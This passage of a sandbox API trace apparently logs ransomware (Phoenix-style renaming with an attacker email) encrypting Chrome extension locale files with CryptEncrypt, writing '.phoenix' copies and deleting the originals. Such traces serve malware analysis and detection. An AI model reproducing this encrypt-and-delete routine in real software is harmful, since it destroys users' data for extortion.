	[0263.342] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0263.342] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.342] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xef, lpOverlapped=0x0) returned 1
	[0263.343] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0, dwBufLen=0xf0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0) returned 1
	[0263.343] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf0, lpOverlapped=0x0) returned 1
	[0263.344] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1510c0) returned 1
	[0263.344] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.344] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.344] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0263.344] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.344] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.344] CloseHandle (hObject=0x2b0) returned 1
	[0263.344] CloseHandle (hObject=0x310) returned 1
	[0263.344] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json")) returned 1
	[0263.345] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.345] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0263.359] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=332) returned 1
	[0263.359] CloseHandle (hObject=0x250) returned 1
	[0263.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json")) returned 0x20
	[0263.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.360] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0263.360] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.360] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.360] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.361] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0263.361] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.361] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x14c, lpOverlapped=0x0) returned 1
	[0263.362] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x150, dwBufLen=0x150 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x150) returned 1
	[0263.362] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x150, lpOverlapped=0x0) returned 1
	[0263.363] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0263.363] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.363] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.363] CryptDestroyKey (hKey=0x151340) returned 1
	[0263.363] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.367] CryptDestroyKey (hKey=0x151380) returned 1
	[0263.367] CloseHandle (hObject=0x250) returned 1
	[0263.367] CloseHandle (hObject=0x310) returned 1
	[0263.367] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json")) returned 1
	[0263.368] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.368] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.369] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=256) returned 1
	[0263.369] CloseHandle (hObject=0x310) returned 1
	[0263.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json")) returned 0x20
	[0263.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.370] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.370] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.370] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.370] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0263.371] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0263.371] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.371] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x100, lpOverlapped=0x0) returned 1
	[0263.372] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0263.372] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0263.373] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0263.373] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.373] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.373] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.373] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.384] CryptDestroyKey (hKey=0x151040) returned 1
	[0263.384] CloseHandle (hObject=0x310) returned 1
	[0263.384] CloseHandle (hObject=0x250) returned 1
	[0263.384] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json")) returned 1
	[0263.385] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.385] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0263.389] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=234) returned 1
	[0263.389] CloseHandle (hObject=0x250) returned 1
	[0263.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json")) returned 0x20
	[0263.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.390] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0263.390] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.390] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.390] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.391] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0263.391] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.391] ReadFile (in: hFile=0x250, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xea, lpOverlapped=0x0) returned 1
	[0263.392] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0, dwBufLen=0xf0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0) returned 1
	[0263.392] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf0, lpOverlapped=0x0) returned 1
	[0263.393] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0263.396] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.396] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.396] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.396] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.396] CryptDestroyKey (hKey=0x151380) returned 1
	[0263.396] CloseHandle (hObject=0x250) returned 1
	[0263.396] CloseHandle (hObject=0x310) returned 1
	[0263.396] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json")) returned 1
	[0263.397] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.397] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.398] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=268) returned 1
	[0263.398] CloseHandle (hObject=0x310) returned 1
	[0263.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json")) returned 0x20
	[0263.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.398] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.398] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.398] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.398] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0263.399] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151400) returned 1
	[0263.399] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.399] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x10c, lpOverlapped=0x0) returned 1
	[0263.412] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0263.446] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0263.447] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0263.447] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.447] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.447] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.447] WriteFile (in: hFile=0x250, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.498] CryptDestroyKey (hKey=0x151400) returned 1
	[0263.498] CloseHandle (hObject=0x310) returned 1
	[0263.498] CloseHandle (hObject=0x250) returned 1
	[0263.498] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json")) returned 1
	[0263.499] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.499] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.503] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=256) returned 1
	[0263.503] CloseHandle (hObject=0x2c4) returned 1
